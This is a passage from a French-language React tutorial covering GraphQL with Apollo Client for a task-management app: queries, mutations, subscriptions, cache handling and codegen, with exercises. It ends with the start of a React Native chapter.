      page:     Int
      limit:    Int
    ): TasksConnection!

    task(id: ID!): Task
    me:            User
    users:         [User!]!
  }

  # Type de pagination (connexion Relay-style) :
  type TasksConnection {
    nodes:      [Task!]!
    totalCount: Int!
    hasNextPage: Boolean!
    endCursor:  String
  }

  # Mutation racine — points d'entrée pour la modification :
  type Mutation {
    createTask(input: CreateTaskInput!): Task!
    updateTask(id: ID!, input: UpdateTaskInput!): Task!
    deleteTask(id: ID!): Boolean!
    completeTask(id: ID!): Task!
    login(email: String!, password: String!): AuthPayload!
    logout: Boolean!
  }

  input CreateTaskInput {
    title:          String!
    description:    String
    priority:       Priority!
    dueDate:        String
    assigneeId:     ID
    tags:           [String!]
    estimatedHours: Float
  }

  input UpdateTaskInput {
    title:          String
    description:    String
    status:         TaskStatus
    priority:       Priority
    dueDate:        String
    assigneeId:     ID
    tags:           [String!]
  }

  type AuthPayload {
    token:        String!
    refreshToken: String!
    user:         User!
  }

  # Subscription — temps réel :
  type Subscription {
    taskCreated:          Task!
    taskUpdated(id: ID!): Task!
    taskDeleted:          ID!
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
63.3 — REQUÊTES GRAPHQL CÔTÉ CLIENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Query simple :
  query GetMe {
    me {
      id
      name
      email
      role
      avatar
    }
  }

  # Query avec arguments et alias :
  query GetDashboard {
    inProgress: tasks(status: IN_PROGRESS, limit: 5) {
      nodes { id title priority assignee { name avatar } }
    }
    todo: tasks(status: TODO, limit: 5) {
      nodes { id title priority dueDate }
      totalCount
    }
    overdue: tasks(status: TODO) {
      totalCount
    }
  }

  # Query avec fragments (réutilisation) :
  fragment TaskFields on Task {
    id
    title
    status
    priority
    dueDate
    assignee {
      id
      name
      avatar
    }
    tags
  }

  query GetTasks($status: TaskStatus, $page: Int) {
    tasks(status: $status, page: $page, limit: 20) {
      nodes { ...TaskFields }
      totalCount
      hasNextPage
    }
  }

  query GetTaskDetail($id: ID!) {
    task(id: $id) {
      ...TaskFields
      description
      estimatedHours
      completedAt
      subtasks {
        id
        title
        completed
      }
      project {
        id
        name
      }
    }
  }

  # Mutation :
  mutation CreateTask($input: CreateTaskInput!) {
    createTask(input: $input) {
      id
      title
      status
      priority
      createdAt
    }
  }

  mutation UpdateTaskStatus($id: ID!, $status: TaskStatus!) {
    updateTask(id: $id, input: { status: $status }) {
      id
      status
      completedAt
    }
  }

  mutation DeleteTask($id: ID!) {
    deleteTask(id: $id)
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 64 : APOLLO CLIENT — SETUP
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
64.1 — INSTALLATION ET CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install @apollo/client graphql

  // src/lib/apollo.ts
  import {
    ApolloClient, InMemoryCache, createHttpLink,
    ApolloLink, from, split,
  } from '@apollo/client';
  import { setContext } from '@apollo/client/link/context';
  import { onError } from '@apollo/client/link/error';
  import { GraphQLWsLink } from '@apollo/client/link/subscriptions';
  import { createClient as createWsClient } from 'graphql-ws';
  import { getMainDefinition } from '@apollo/client/utilities';

  // Lien HTTP pour les queries et mutations :
  const httpLink = createHttpLink({
    uri: import.meta.env.VITE_GRAPHQL_URL || 'http://localhost:4000/graphql',
  });

  // Lien WebSocket pour les subscriptions :
  const wsLink = new GraphQLWsLink(
    createWsClient({
      url: import.meta.env.VITE_GRAPHQL_WS_URL || 'ws://localhost:4000/graphql',
      connectionParams: () => ({
        authorization: localStorage.getItem('taskflow_token')
          ? `Bearer ${localStorage.getItem('taskflow_token')}`
          : '',
      }),
    })
  );

  // Lien d'authentification — injecter le JWT :
  const authLink = setContext((_, { headers }) => {
    const token = localStorage.getItem('taskflow_token');
    return {
      headers: {
        ...headers,
        authorization: token ? `Bearer ${token}` : '',
      },
    };
  });

  // Lien de gestion d'erreurs globales :
  const errorLink = onError(({ graphQLErrors, networkError, operation }) => {
    if (graphQLErrors) {
      graphQLErrors.forEach(({ message, locations, path, extensions }) => {
        console.error(`[GraphQL Error] ${message}`, { locations, path });

        if (extensions?.code === 'UNAUTHENTICATED') {
          localStorage.removeItem('taskflow_token');
          window.location.href = '/login';
        }
      });
    }

    if (networkError) {
      console.error('[Network Error]', networkError);
    }
  });

  // Sélecteur de lien — HTTP pour queries/mutations, WS pour subscriptions :
  const splitLink = split(
    ({ query }) => {
      const definition = getMainDefinition(query);
      return (
        definition.kind === 'OperationDefinition' &&
        definition.operation === 'subscription'
      );
    },
    wsLink,
    from([errorLink, authLink, httpLink])  // Chain de liens HTTP
  );

  // Configuration du cache (InMemoryCache) :
  export const apolloClient = new ApolloClient({
    link:  splitLink,
    cache: new InMemoryCache({
      typePolicies: {
        Query: {
          fields: {
            // Politique de pagination pour tasks :
            tasks: {
              keyArgs:  ['status', 'priority', 'search'],  // Clés de cache
              merge(existing, incoming, { args }) {
                if (!args?.page || args.page === 1) return incoming;
                return {
                  ...incoming,
                  nodes: [...(existing?.nodes || []), ...incoming.nodes],
                };
              },
            },
          },
        },
        Task: {
          keyFields: ['id'],  // Clé unique pour identifier les tâches dans le cache
        },
        User: {
          keyFields: ['id'],
        },
      },
    }),
    defaultOptions: {
      watchQuery: { fetchPolicy: 'cache-and-network' },
      query:      { fetchPolicy: 'network-only' },
    },
  });

  // src/main.tsx — Provider Apollo :
  import { ApolloProvider } from '@apollo/client';
  import { apolloClient } from './lib/apollo';

  ReactDOM.createRoot(document.getElementById('root')!).render(
    <React.StrictMode>
      <ApolloProvider client={apolloClient}>
        <BrowserRouter>
          <AuthProvider>
            <App />
          </AuthProvider>
        </BrowserRouter>
      </ApolloProvider>
    </React.StrictMode>
  );


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 65 : QUERIES ET MUTATIONS APOLLO
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
65.1 — DÉFINIR LES OPÉRATIONS (GQL DOCUMENTS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/graphql/tasks.operations.ts
  import { gql } from '@apollo/client';

  // Fragments réutilisables :
  export const TASK_FIELDS = gql`
    fragment TaskFields on Task {
      id
      title
      status
      priority
      dueDate
      completedAt
      tags
      assignee {
        id
        name
        avatar
      }
    }
  `;

  export const GET_TASKS = gql`
    query GetTasks($status: TaskStatus, $priority: Priority, $search: String, $page: Int) {
      tasks(status: $status, priority: $priority, search: $search, page: $page, limit: 20) {
        nodes { ...TaskFields }
        totalCount
        hasNextPage
      }
    }
    ${TASK_FIELDS}
  `;

  export const GET_TASK = gql`
    query GetTask($id: ID!) {
      task(id: $id) {
        ...TaskFields
        description
        estimatedHours
        subtasks {
          id
          title
          completed
        }
        project {
          id
          name
        }
      }
    }
    ${TASK_FIELDS}
  `;

  export const GET_ME = gql`
    query GetMe {
      me {
        id
        name
        email
        role
        avatar
      }
    }
  `;

  export const CREATE_TASK = gql`
    mutation CreateTask($input: CreateTaskInput!) {
      createTask(input: $input) {
        ...TaskFields
      }
    }
    ${TASK_FIELDS}
  `;

  export const UPDATE_TASK = gql`
    mutation UpdateTask($id: ID!, $input: UpdateTaskInput!) {
      updateTask(id: $id, input: $input) {
        ...TaskFields
        description
        estimatedHours
        subtasks {
          id
          title
          completed
        }
      }
    }
    ${TASK_FIELDS}
  `;

  export const DELETE_TASK = gql`
    mutation DeleteTask($id: ID!) {
      deleteTask(id: $id)
    }
  `;

  export const COMPLETE_TASK = gql`
    mutation CompleteTask($id: ID!) {
      completeTask(id: $id) {
        id
        status
        completedAt
      }
    }
  `;

  export const LOGIN = gql`
    mutation Login($email: String!, $password: String!) {
      login(email: $email, password: $password) {
        token
        refreshToken
        user {
          id
          name
          email
          role
          avatar
        }
      }
    }
  `;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
65.2 — HOOKS APOLLO DANS LES COMPOSANTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/apollo/useTasks.ts
  import { useQuery, useMutation, useApolloClient } from '@apollo/client';
  import {
    GET_TASKS, GET_TASK, CREATE_TASK, UPDATE_TASK, DELETE_TASK, COMPLETE_TASK
  } from '@/graphql/tasks.operations';
  import type {
    GetTasksQuery, GetTasksQueryVariables,
    CreateTaskMutation, CreateTaskMutationVariables,
    // ... types générés par codegen
  } from '@/graphql/generated/types';

  // Hook useQuery — récupérer les tâches :
  export function useTasks(variables?: GetTasksQueryVariables) {
    const { data, loading, error, fetchMore, refetch } = useQuery<
      GetTasksQuery,
      GetTasksQueryVariables
    >(GET_TASKS, {
      variables,
      notifyOnNetworkStatusChange: true,  // Loading states sur refetch
    });

    const loadMore = () => {
      if (!data?.tasks.hasNextPage) return;
      fetchMore({
        variables: {
          ...variables,
          page: Math.ceil((data.tasks.nodes.length / 20)) + 1,
        },
      });
    };

    return {
      tasks:      data?.tasks.nodes ?? [],
      totalCount: data?.tasks.totalCount ?? 0,
      hasMore:    data?.tasks.hasNextPage ?? false,
      isLoading:  loading,
      error:      error?.message,
      loadMore,
      refetch,
    };
  }

  // Hook useQuery — récupérer une tâche :
  export function useTask(id: string) {
    const { data, loading, error } = useQuery(GET_TASK, {
      variables: { id },
      skip:      !id,           // Ne pas exécuter si id est vide
    });
    return {
      task:      data?.task ?? null,
      isLoading: loading,
      error:     error?.message,
    };
  }

  // Hook useMutation — créer une tâche :
  export function useCreateTask() {
    const [mutate, { loading, error }] = useMutation<
      CreateTaskMutation,
      CreateTaskMutationVariables
    >(CREATE_TASK, {
      // Mise à jour du cache après création :
      update(cache, { data }) {
        if (!data?.createTask) return;
        cache.modify({
          fields: {
            tasks(existing = {}) {
              const newRef = cache.writeFragment({
                data:     data.createTask,
                fragment: TASK_FIELDS,
              });
              return {
                ...existing,
                nodes:      [newRef, ...(existing.nodes || [])],
                totalCount: (existing.totalCount || 0) + 1,
              };
            },
          },
        });
      },
    });

    const createTask = async (input: CreateTaskMutationVariables['input']) => {
      const result = await mutate({ variables: { input } });
      return result.data?.createTask;
    };

    return { createTask, isLoading: loading, error: error?.message };
  }

  // Hook useMutation — supprimer une tâche :
  export function useDeleteTask() {
    const [mutate, { loading }] = useMutation(DELETE_TASK, {
      // Retirer du cache après suppression :
      update(cache, { data }, { variables }) {
        if (!data?.deleteTask) return;
        cache.modify({
          fields: {
            tasks(existing = {}, { readField }) {
              return {
                ...existing,
                nodes: (existing.nodes || []).filter(
                  (ref: any) => readField('id', ref) !== variables?.id
                ),
                totalCount: Math.max(0, (existing.totalCount || 1) - 1),
              };
            },
          },
        });
        // Supprimer l'entrée du cache normalized :
        cache.evict({ id: cache.identify({ __typename: 'Task', id: variables?.id }) });
        cache.gc();
      },
    });

    const deleteTask = async (id: string) => {
      await mutate({ variables: { id } });
    };

    return { deleteTask, isLoading: loading };
  }

  // Hook useMutation — terminer une tâche (mise à jour optimiste) :
  export function useCompleteTask() {
    const [mutate, { loading }] = useMutation(COMPLETE_TASK, {
      optimisticResponse: ({ id }) => ({
        completeTask: {
          __typename:  'Task',
          id,
          status:      'DONE',
          completedAt: new Date().toISOString(),
        },
      }),
    });

    const completeTask = async (id: string) => {
      await mutate({ variables: { id } });
    };

    return { completeTask, isLoading: loading };
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
65.3 — COMPOSANT AVEC APOLLO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/pages/TasksPage.tsx
  import { useState } from 'react';
  import { useTasks, useCreateTask, useDeleteTask, useCompleteTask } from '@/hooks/apollo/useTasks';
  import TaskList from '@/components/tasks/TaskList';
  import TaskForm from '@/components/tasks/TaskForm';
  import type { TaskStatus } from '@/graphql/generated/types';

  function TasksPage() {
    const [filter, setFilter]   = useState<TaskStatus | undefined>();
    const [search, setSearch]   = useState('');
    const [isFormOpen, setIsFormOpen] = useState(false);

    const { tasks, totalCount, hasMore, isLoading, error, loadMore } = useTasks({
      status: filter,
      search: search || undefined,
    });
    const { createTask, isLoading: isCreating } = useCreateTask();
    const { deleteTask }  = useDeleteTask();
    const { completeTask } = useCompleteTask();

    const handleCreate = async (input: any) => {
      await createTask(input);
      setIsFormOpen(false);
    };

    if (error) return <ErrorMessage message={error} />;

    return (
      <div className="tasks-page">
        <header className="tasks-header">
          <h1>Tâches ({totalCount})</h1>
          <button onClick={() => setIsFormOpen(true)}>+ Nouvelle tâche</button>
        </header>

        <div className="tasks-filters">
          <input
            value={search}
            onChange={e => setSearch(e.target.value)}
            placeholder="Rechercher..."
          />
          <select
            value={filter || ''}
            onChange={e => setFilter(e.target.value as TaskStatus || undefined)}
          >
            <option value="">Toutes</option>
            <option value="TODO">À faire</option>
            <option value="IN_PROGRESS">En cours</option>
            <option value="DONE">Terminées</option>
          </select>
        </div>

        {isLoading && tasks.length === 0 ? (
          <Spinner />
        ) : (
          <>
            <TaskList
              tasks={tasks}
              onComplete={task => completeTask(task.id)}
              onDelete={task => deleteTask(task.id)}
            />
            {hasMore && (
              <button onClick={loadMore} disabled={isLoading}>
                {isLoading ? 'Chargement...' : 'Charger plus'}
              </button>
            )}
          </>
        )}

        {isFormOpen && (
          <Modal onClose={() => setIsFormOpen(false)} title="Nouvelle tâche">
            <TaskForm onSubmit={handleCreate} isLoading={isCreating} />
          </Modal>
        )}
      </div>
    );
  }

  export default TasksPage;


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 66 : SUBSCRIPTIONS GRAPHQL
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
66.1 — SUBSCRIPTIONS (TEMPS RÉEL GRAPHQL)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/graphql/subscriptions.ts
  import { gql } from '@apollo/client';
  import { TASK_FIELDS } from './tasks.operations';

  export const TASK_CREATED_SUBSCRIPTION = gql`
    subscription OnTaskCreated {
      taskCreated {
        ...TaskFields
      }
    }
    ${TASK_FIELDS}
  `;

  export const TASK_UPDATED_SUBSCRIPTION = gql`
    subscription OnTaskUpdated($id: ID!) {
      taskUpdated(id: $id) {
        ...TaskFields
        description
        subtasks { id title completed }
      }
    }
    ${TASK_FIELDS}
  `;

  export const TASK_DELETED_SUBSCRIPTION = gql`
    subscription OnTaskDeleted {
      taskDeleted
    }
  `;

  // src/hooks/apollo/useTaskSubscriptions.ts
  import { useSubscription, useApolloClient } from '@apollo/client';
  import {
    TASK_CREATED_SUBSCRIPTION,
    TASK_UPDATED_SUBSCRIPTION,
    TASK_DELETED_SUBSCRIPTION,
  } from '@/graphql/subscriptions';
  import { GET_TASKS } from '@/graphql/tasks.operations';
  import { useUI } from '@/contexts/UIContext';

  export function useTaskSubscriptions() {
    const client = useApolloClient();
    const { addNotification } = useUI();

    // Écouter les nouvelles tâches :
    useSubscription(TASK_CREATED_SUBSCRIPTION, {
      onData: ({ data }) => {
        const newTask = data.data?.taskCreated;
        if (!newTask) return;

        // Mise à jour du cache manuellement :
        client.cache.modify({
          fields: {
            tasks(existing = {}) {
              const taskRef = client.cache.writeFragment({
                data:     newTask,
                fragment: TASK_FIELDS_FRAGMENT,
              });
              return {
                ...existing,
                nodes:      [taskRef, ...(existing.nodes || [])],
                totalCount: (existing.totalCount || 0) + 1,
              };
            },
          },
        });

        addNotification({
          type:    'info',
          title:   'Nouvelle tâche',
          message: `"${newTask.title}" vient d'être créée.`,
        });
      },
    });

    // Écouter les suppressions :
    useSubscription(TASK_DELETED_SUBSCRIPTION, {
      onData: ({ data }) => {
        const deletedId = data.data?.taskDeleted;
        if (!deletedId) return;

        client.cache.evict({
          id: client.cache.identify({ __typename: 'Task', id: deletedId }),
        });
        client.cache.gc();
      },
    });
  }

  // Hook pour les mises à jour d'une tâche spécifique :
  export function useTaskUpdates(taskId: string) {
    const { data, loading } = useSubscription(TASK_UPDATED_SUBSCRIPTION, {
      variables: { id: taskId },
      skip:      !taskId,
    });

    return {
      updatedTask: data?.taskUpdated,
      isUpdating:  loading,
    };
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 67 : CACHE APOLLO ET OPTIMISATIONS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
67.1 — STRATÉGIES DE CACHE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FETCH POLICIES — comment Apollo utilise le cache :

  'cache-first'         Lire le cache, ne fetch que si absent. (défaut)
  'cache-and-network'   Retourner le cache + mettre à jour depuis le réseau.
  'network-only'        Toujours fetch, ignorer le cache pour la lecture.
  'no-cache'            Toujours fetch, ne PAS stocker dans le cache.
  'cache-only'          Cache seulement, erreur si absent.
  'standby'             Ne pas fetch automatiquement (fetch on demand).

  // Par query :
  useQuery(GET_TASKS, {
    fetchPolicy:            'cache-and-network',
    nextFetchPolicy:        'cache-first',         // Après premier fetch
    pollInterval:           30000,                  // Re-fetch toutes les 30s
    notifyOnNetworkStatusChange: true,
  });

  // Refetch manuel :
  const { data, refetch } = useQuery(GET_TASKS);
  // Après une action :
  await createTask(input);
  await refetch();  // Forcer un re-fetch

  // Ou mieux : invalider le cache :
  client.refetchQueries({ include: [GET_TASKS] });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
67.2 — OPTIMISTIC UPDATES APOLLO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  const [completeTask] = useMutation(COMPLETE_TASK, {
    // Réponse "optimiste" — mise à jour UI immédiate avant confirmation API :
    optimisticResponse: (variables) => ({
      __typename:  'Mutation',
      completeTask: {
        __typename:  'Task',
        id:          variables.id,
        status:      'DONE',        // Mise à jour optimiste
        completedAt: new Date().toISOString(),
      },
    }),
    // En cas d'erreur -> Apollo annule automatiquement l'optimistic update
  });

  // Mise à jour optimiste plus complexe :
  const [updateTask] = useMutation(UPDATE_TASK, {
    optimisticResponse: ({ id, input }) => ({
      updateTask: {
        __typename: 'Task',
        id,
        ...input,   // Les champs mis à jour
        // Garder les champs non modifiés depuis le cache :
      },
    }),
    update(cache, { data }, { variables }) {
      // Mise à jour manuelle si nécessaire
    },
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
67.3 — LECTURE ET ÉCRITURE DIRECTE DU CACHE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  const client = useApolloClient();

  // Lire depuis le cache :
  const cachedTask = client.readFragment({
    id:       client.cache.identify({ __typename: 'Task', id: '42' }),
    fragment: TASK_FIELDS,
  });

  // Écrire dans le cache :
  client.writeFragment({
    id:       client.cache.identify({ __typename: 'Task', id: '42' }),
    fragment: TASK_FIELDS,
    data: {
      __typename: 'Task',
      id:         '42',
      status:     'DONE',
      // ... autres champs
    },
  });

  // Modifier le cache avec cache.modify :
  client.cache.modify({
    id:     client.cache.identify({ __typename: 'Task', id: '42' }),
    fields: {
      status:      () => 'DONE',
      completedAt: () => new Date().toISOString(),
    },
  });

  // Supprimer du cache :
  client.cache.evict({
    id: client.cache.identify({ __typename: 'Task', id: '42' }),
  });
  client.cache.gc();  // Garbage collect les références orphelines


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 68 : GRAPHQL CODEGEN — TYPES TYPESCRIPT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
68.1 — GÉNÉRATION AUTOMATIQUE DES TYPES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

GraphQL Codegen génère automatiquement les types TypeScript depuis le schema.
Plus besoin d'écrire les types manuellement — ils sont toujours synchronisés.

  npm install -D @graphql-codegen/cli @graphql-codegen/client-preset

  # codegen.ts
  import { CodegenConfig } from '@graphql-codegen/cli';

  const config: CodegenConfig = {
    schema:    'http://localhost:4000/graphql',  // URL du schema
    documents: ['src/**/*.ts', 'src/**/*.tsx'],  // Fichiers avec les opérations
    generates: {
      './src/graphql/generated/': {
        preset: 'client',
        presetConfig: {
          gqlTagName: 'gql',
        },
        config: {
          scalars: {
            DateTime: 'string',
            ID:       'string',
          },
          enumsAsTypes:   true,
          skipTypename:   false,
          useTypeImports: true,
        },
      },
    },
  };

  export default config;

  # package.json scripts :
  "codegen": "graphql-codegen --config codegen.ts",
  "codegen:watch": "graphql-codegen --config codegen.ts --watch"

  # Lancer :
  npm run codegen

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
68.2 — UTILISER LES TYPES GÉNÉRÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Après codegen, les types sont disponibles dans src/graphql/generated/ :

  // Exemples de types générés :
  // GetTasksQuery          -> Résultat de la query GetTasks
  // GetTasksQueryVariables -> Variables de la query
  // CreateTaskMutation     -> Résultat de la mutation
  // CreateTaskMutationVariables
  // TaskFieldsFragment     -> Fragment réutilisable

  // Utilisation avec useQuery entièrement typé :
  import { useQuery } from '@apollo/client';
  import { graphql } from '@/graphql/generated';

  // Avec client-preset, les types sont inférés automatiquement :
  const GET_TASKS_DOC = graphql(`
    query GetTasks($status: TaskStatus) {
      tasks(status: $status) {
        nodes {
          id
          title
          status
          priority
        }
        totalCount
      }
    }
  `);

  function TasksPage() {
    // data est automatiquement typé comme GetTasksQuery :
    const { data, loading, error } = useQuery(GET_TASKS_DOC, {
      variables: { status: 'IN_PROGRESS' },  // Typé : doit être TaskStatus
    });

    // data.tasks.nodes est Task[] — avec autocomplete complet !
    const tasks = data?.tasks.nodes ?? [];

    return (
      <ul>
        {tasks.map(task => (
          <li key={task.id}>
            {task.title}
            {/* task.status est 'TODO' | 'IN_PROGRESS' | 'DONE' | 'CANCELLED' */}
            <span className={`status-${task.status.toLowerCase()}`}>
              {task.status}
            </span>
          </li>
        ))}
      </ul>
    );
  }


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 11
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-11.1 : Installer Apollo Client et faire une query GET_ME pour afficher
            le profil de l'utilisateur connecté dans le Header.

  EX-11.2 : Implémenter useQuery GET_TASKS avec les variables status et page.
            Afficher un spinner pendant le chargement, erreur si echec.

  EX-11.3 : Mutation COMPLETE_TASK avec mise à jour optimiste.
            Le badge de statut doit changer immédiatement au clic.

NIVEAU INTERMÉDIAIRE :
  EX-11.4 : Pagination "Load More" avec fetchMore.
            Stocker les pages précédentes dans le cache (merge policy).

  EX-11.5 : Subscription taskCreated : mettre à jour la liste en temps réel
            et afficher une notification toast.

  EX-11.6 : Configurer GraphQL Codegen et remplacer tous les types manuels
            par les types générés dans TasksPage.

NIVEAU AVANCÉ :
  EX-11.7 : Mutation createTask avec mise à jour du cache (cache.modify)
            sans refetch de la query principale.

  EX-11.8 : Optimistic delete : supprimer visuellement la tâche immédiatement,
            avec rollback et toast d'erreur si l'API échoue.

  EX-11.9 : Cache persisté en localStorage entre les sessions
            (apollo3-cache-persist).


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 11
════════════════════════════════════════════════════════════════════════════════

  [OK] GraphQL : schema SDL, types, queries, mutations, subscriptions
  [OK] Apollo Client : setup, InMemoryCache, liens (HTTP, WebSocket, auth, error)
  [OK] useQuery : data, loading, error, refetch, fetchMore, pollInterval
  [OK] useMutation : update cache, optimisticResponse, variables
  [OK] useSubscription : temps réel via WebSocket avec mise à jour du cache
  [OK] Cache : fetch policies, cache.modify, cache.evict, cache.gc
  [OK] GraphQL Codegen : types TypeScript auto-générés depuis le schema

PROCHAINE PARTIE : React Native — Mobile avec la même base de code
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 11 -> Continuer : react_master_part_12.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 12 : REACT NATIVE — DÉVELOPPEMENT MOBILE
================================================================================
VERSION 1.0 | CHAPITRES 69–76 | PROJET : TaskFlow Mobile
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 69  ->  React Native — Concepts et différences avec React Web
  CHAPITRE 70  ->  Setup, Expo et structure de projet
  CHAPITRE 71  ->  Composants natifs et StyleSheet
  CHAPITRE 72  ->  Navigation (React Navigation)
  CHAPITRE 73  ->  Gestion des données et API dans RN
  CHAPITRE 74  ->  Fonctionnalités natives (caméra, géoloc, notifications push)
  CHAPITRE 75  ->  Performance et optimisations React Native
  CHAPITRE 76  ->  Déploiement iOS et Android
  PROJET       ->  TaskFlow Mobile — App complète
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 69 : REACT NATIVE — CONCEPTS ET DIFFÉRENCES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
69.1 — QU'EST-CE QUE REACT NATIVE ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

React Native (RN) permet d'écrire des applications iOS et Android en JavaScript/
TypeScript avec les mêmes concepts React (composants, hooks, state).

COMMENT ÇA MARCHE ?
  Code JS s'exécute dans un thread JS séparé.
  React Native traduit les composants en composants UI NATIFS.
  (Pas de WebView — ce sont de vraies apps natives !)

  <View>   -> UIView (iOS)  /  android.view.View (Android)
  <Text>   -> UILabel (iOS) /  TextView (Android)
  <Image>  -> UIImageView   /  ImageView
  <ScrollView> -> UIScrollView / ScrollView

REACT WEB vs REACT NATIVE :

  ┌──────────────────────┬──────────────────────┬────────────────────────┐
  │ Concept              │ React Web             │ React Native           │
  ├──────────────────────┼──────────────────────┼────────────────────────┤
  │ Rendu                │ HTML -> DOM            │ Bridge -> Natif         │
  │ Conteneur            │ <div>                 │ <View>                 │
  │ Texte                │ <p>, <span>, <h1>...  │ <Text>                 │
  │ Image                │ <img>                 │ <Image>                │
  │ Scroll               │ overflow: scroll      │ <ScrollView>           │
  │ Input                │ <input>               │ <TextInput>            │
  │ Click                │ onClick               │ onPress                │
  │ Styles               │ CSS                   │ StyleSheet             │
  │ Flexbox              │ CSS Flexbox           │ Flexbox (column défaut)│
  │ Navigation           │ React Router          │ React Navigation       │
  │ Storage              │ localStorage          │ AsyncStorage           │
  │ Réseau               │ fetch / axios         │ fetch / axios          │
  └──────────────────────┴──────────────────────┴────────────────────────┘

CE QUI EST IDENTIQUE :
  [OK] Composants fonctionnels
  [OK] useState, useEffect, useMemo, useCallback, useRef
  [OK] Context API
  [OK] Custom Hooks
  [OK] TypeScript
  [OK] React Query / Zustand / Apollo
  [OK] React Hook Form + Zod

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
69.2 — EXPO vs REACT NATIVE CLI
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  EXPO (RECOMMANDÉ POUR DÉBUTANTS/INTERMÉDIAIRES) :
    [OK] Setup en 5 minutes, pas d'Xcode/Android Studio requis
    [OK] OTA updates (mise à jour sans passer par les stores)
    [OK] Bibliothèque de modules natifs pré-configurés
    [OK] Expo Go (tester sur téléphone sans build)
    [X] Certains modules natifs non supportés (edge cases)
    [X] Bundle size légèrement plus grand

  REACT NATIVE CLI (BARE WORKFLOW) :
    [OK] Contrôle total sur le code natif
    [OK] Tous les modules natifs possibles
    [X] Configuration Xcode + Android Studio requise
    [X] Setup plus complexe (15-30 min minimum)

  RECOMMANDATION : Commencer avec Expo. Éjecter si besoin.


